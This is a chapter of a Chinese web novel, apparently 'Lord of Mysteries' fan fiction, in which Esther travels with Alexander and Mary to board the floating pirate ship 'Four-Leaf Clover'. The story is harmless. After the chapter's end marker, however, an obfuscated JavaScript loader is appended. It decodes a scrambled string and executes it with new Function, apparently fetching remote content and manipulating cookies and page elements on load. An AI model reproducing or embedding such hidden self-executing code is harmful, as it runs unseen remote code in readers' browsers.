走在拜亚姆的街头，因为艾丝特与亚历山大的打扮像什么都不像海盗，连带着跟在两人身边的玛丽都没有引人注意。
“最近严肃的情况你也看到了，我听说前两天还出动了好几辆飞空艇，在这里大肆搜查着那群海盗的踪迹。”亚历山大走在最前头，低声给走在他身旁的艾丝特解释着。
“那我们要乘船去别的岛？”
“我们只要在私人码头租条船去停泊的小岛边就好，这里多的是人做这行生意，哈哈，你不晕船吧？”
亚历山大无伤大雅的小玩笑让艾丝特对他稍有改观，原本艾丝特还以为这是位更加古板老派的学者，她笑着回道：
“要是晕船的话，我可没法撑到拜亚姆，中途就得努力游回岸上了。”
亚历山大也笑起来：“哦，至少你会游泳！这是你出海的一小步。”
“是当海盗的一大步？”艾丝特试探着接道。
玛丽小声嘀咕起来：“我就说你是罗塞尔大帝的爱好者，一看就是。”
亚历山大似乎很高兴：“大帝留下名言再多，也远不及他留下的各种机器与手稿千分之一的珍贵，可以说他是一手推动了教会与世界技术的发展，可惜……”
艾丝特敏锐地捕捉到，亚历山大直接称呼了“教会”，而不是“蒸汽与机械之神教会”，这似乎能说明不少事情比如亚历山大的身份，教会的信徒或者成员似乎都有可能。
按照他作为非凡者表现出来的“鉴定”能力与这方面的点评口吻来说，他很明显像是个“工匠”，是官方成员的可能性非常大。
难道“四叶草号”背后的组织是机械之心？
在十分钟的步行后，三人坐上一辆出租马车，摇摇晃晃地往海边进发。
亚历山大展现出了与他外貌相符的博学，甚至远远超出艾丝特预想的专业范围，他似乎什么都懂许多，包括艾丝特粗略了解过的那些乐理知识。
见艾丝特的眼神逐渐变得敬佩，亚历山大也不介意告诉她多点讯息，作为对艾丝特先前坦诚的交换：
“我的序列能大幅度强化知识方面的记忆，凡是看过、接触过、学习过的东西，基本不会忘记。”
“听上去是非常出色又独特的能力。”
亚历山大微笑着叹息：“唉，可惜我的年纪让我止步于此，不过我已经很知足了，非凡世界带来的益处虽然多，但同样的，也太过危险。”
艾丝特点点头：“我得承认，我很难把您看成某个海盗团的成员。”
“我这辈子埋头在书本和机器里面太久，”亚历山大垂下视线，胡子下的笑容非常平和，“出来看看也没有什么不好的。既然我受到别人的委托，当然也该对别人忠诚。”
受人所托，忠人之事？
艾丝特飞快将这句话解析还原，很明显这也是罗塞尔留下的“谚语”。
大概半小时后，出租马车停在了一处海滩边，玛丽在付完车费后，主动提出帮亚历山大拎箱子，却被这位老先生拒绝了：
“我的身子还没那么老，用不着压榨年轻人。”
虽然亚历山大开口的时候经常笑呵呵的，但艾丝特注意到他的眼神总是很幽深，只有在跟人分享知识的时候，才会变得明亮不少。
他话语间的热情更多是出于良好的修养，这是个对待自己相当严谨的人，只对自己感兴趣的东西会倾注热情，即使会在言谈时开玩笑也是为了缓和我的印象……
玛丽在他面前的拘谨，是因为这位“艳珍珠”并不擅长面对这样带有威严感的长辈？她恐怕曾经待在很严苛的家庭环境下，或者有位相当严肃的师长，经常遭受训斥和责罚，才会留下这样本能般的不安。
在玛丽跟我单独相处的时候，她就显得随性很多，不像现在，总跟后背痒痒似的难以安静待着。
艾丝特跟着亚历山大坐上了一条带风帆的渔船，今天浪头不大但有着微风，让渔船不急不缓地往北面驶去。
拜亚姆近海，荒礁岛，“四叶草号”。
这是一艘勉强称得上中型的海盗船，整体是暖木色，船身两侧各有六门火炮炮位，火力实在算不上优秀，与传统海盗船不同的是，它除了风帆还配置有烟囱，蒸汽驱动确保了船只优越的航速，颇有“打不过我总跑得过”的意思。
桅杆顶端挂着黑底的海盗旗，上面绣着的却不是骷髅头而是金边的四叶草，下方横着两根交叉的长骨头。
奇怪的是，在这艘船的周围堆积着大量半透明的巨大泡沫，折射出五颜六色的光芒，将这艘海盗船裹在里面，把船身簇拥得往上浮起，使得大部分船体都露在海面上。
深肤色的精壮船夫按照亚历山大的指示，将三人放在一片侧壁满是藤壶的礁石上。接过亚历山大递出的船费后，船夫就迅速离开了这里，似乎完全不想久待。
玛丽指了指远处那片奇怪的泡沫：“这里在附近相当出名，被渔民和水手们称作‘鬼礁岛’，如果不是亚历山大先生设计的漂浮系统加上托马先生的法术辅助，我们也绝对不敢来这里。”
艾丝特望着那小山般的泡沫群，很难看清“四叶草号”的全貌：“这里的暗礁非常多？”
玛丽点点头：“是的，而且不知道什么原因，水底下的暗礁有时候会改变位置，经常在出乎意料的角落浮起，所以这一整片海域基本都很少有人会来。”
亚历山大冲着海面抬了抬手：“这一片暗礁下应该有某种诅咒的力量，几乎没有多少活动的水生生物，只有藤壶和大量的海藻，即使是当地的渔民也不愿意过来。”
“怪不得当时玛丽说出目的地，那个船夫满脸都是不情愿。”
最后还是玛丽承诺给出三倍的船费，对方才为难地答应下来。
在三人说话间，艾丝特总算能看到船身了，那艘环绕着泡沫的海盗船正缓缓上浮，露出里面的桅杆尖端与旗帜。
船身竟然稍稍离开了水面，以在空气中飘荡的方式缓速往三人所在的礁石边前进，只是速度相当缓慢。
艾丝特第一次亲眼见到这么奇妙的船只，有种观赏到奇幻大片的欣喜：“这真是那艘船本身也是神奇物品？”
“你的直觉很敏锐，小姐，”亚历山大嘴角上扬，自豪地微笑起来，“不过这艘‘幽灵船’的脾气可不太好，它有时候喜欢恶意地往暗礁或者暗流里转，或者吸引些让人头疼的海怪。如果不是亚伦幸运过人，换别人来控制它的话，‘四叶草号’早就把自己开沉了。”
艾丝特觉得更有趣了，明明顶着这么一个幸运草的船名，实际上却是如此倒霉的负面效果。
但很快，亚历山大那句“脾气不太好”就应验了。
一个瘦高的棕发中年人在船头用力挥舞着手臂，冲下方的三人用因蒂斯语大喊起来：“公主又不受控制了！你们快点让开，她要碾过来了！”
船只离得太近，三人根本来不及转移到另外一侧的礁石上。
玛丽也冲着船头怒吼起来：“TMD你就不能早点说啊！”
亚历山大比艾丝特更快反应过来，迅速找出了最合适的应对方法，他拽住两位姑娘的肩膀：“快！跳进水里！”
三人屏住呼吸，在亚历山大的拉扯下，“噗通”一声掉进旁边的海水中。
奇特的失重感在脚下出现，自动将三人托在入水却不会下降的位置，包括三人的行李箱都浮了起来。
艾丝特仍然有点茫然，因为她刚才已经听出了船头那人和玛丽喊的都不是鲁恩语，而是艾丝特没怎么实际接触过的因蒂斯语，但她却清晰地分辨出了那话语中的含义。
因为语言只是媒介，沟通的含义可以直接被接收？就像是跳过了听觉，然后直接被我“感知”到。
之前她并没这么仔细注意过，听到拜亚姆的当地居民交流时，也没有专注去分辨。
那艘船缓缓行驶到三人的头顶，投下陨石般的阴影，大片泡沫扑在他们的头顶，让玛丽打了个喷嚏。玛丽的假发套都湿透了，贴在她脑袋上，像是顶了一团黑乎乎的海藻。
艾丝特往海水里望了眼，亚历山大的行李箱上正散发出蓝色的光幕，不断增强周围一圈海水的浮力，所以三人很轻松就能将头探出水中，行李箱也没有下沉。
怪不得亚历山大先生完全不担心行李，他的箱子竟然做过特殊防护。连行李箱都有特殊功能，这样的手笔更加有机械之心不在乎损耗的风格了。
这就是“工匠”的任性吗……
正在观察附近蓝色光团的艾丝特一愣，她的感知突然被什么所触动，捕捉到了很细微的嗡鸣声。
艾丝特当即抬头，上方传来呼唤声的东西正被无数泡沫衬托在旁，她伸出左手轻轻往上扬了一下，仿佛在跟“四叶草号”打招呼一般。
明明她离触碰到船身还有不少距离，但那艘船立刻停在了原地，就像是特地行驶过来，等候它的客人与船员们登上去。
亚历山大看到了这一幕，显得相当吃惊：“哦？她竟然停下了，那我们从侧面游过去。”
玛丽迫不及待地游在最前面，一把抓住上面抛下来的绳梯，将自己的行李箱叼在嘴里，手脚并用敏捷地往上爬去。
看她满脸凶狠的样子，八成是要先上船去骂人的。
(本章完)
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();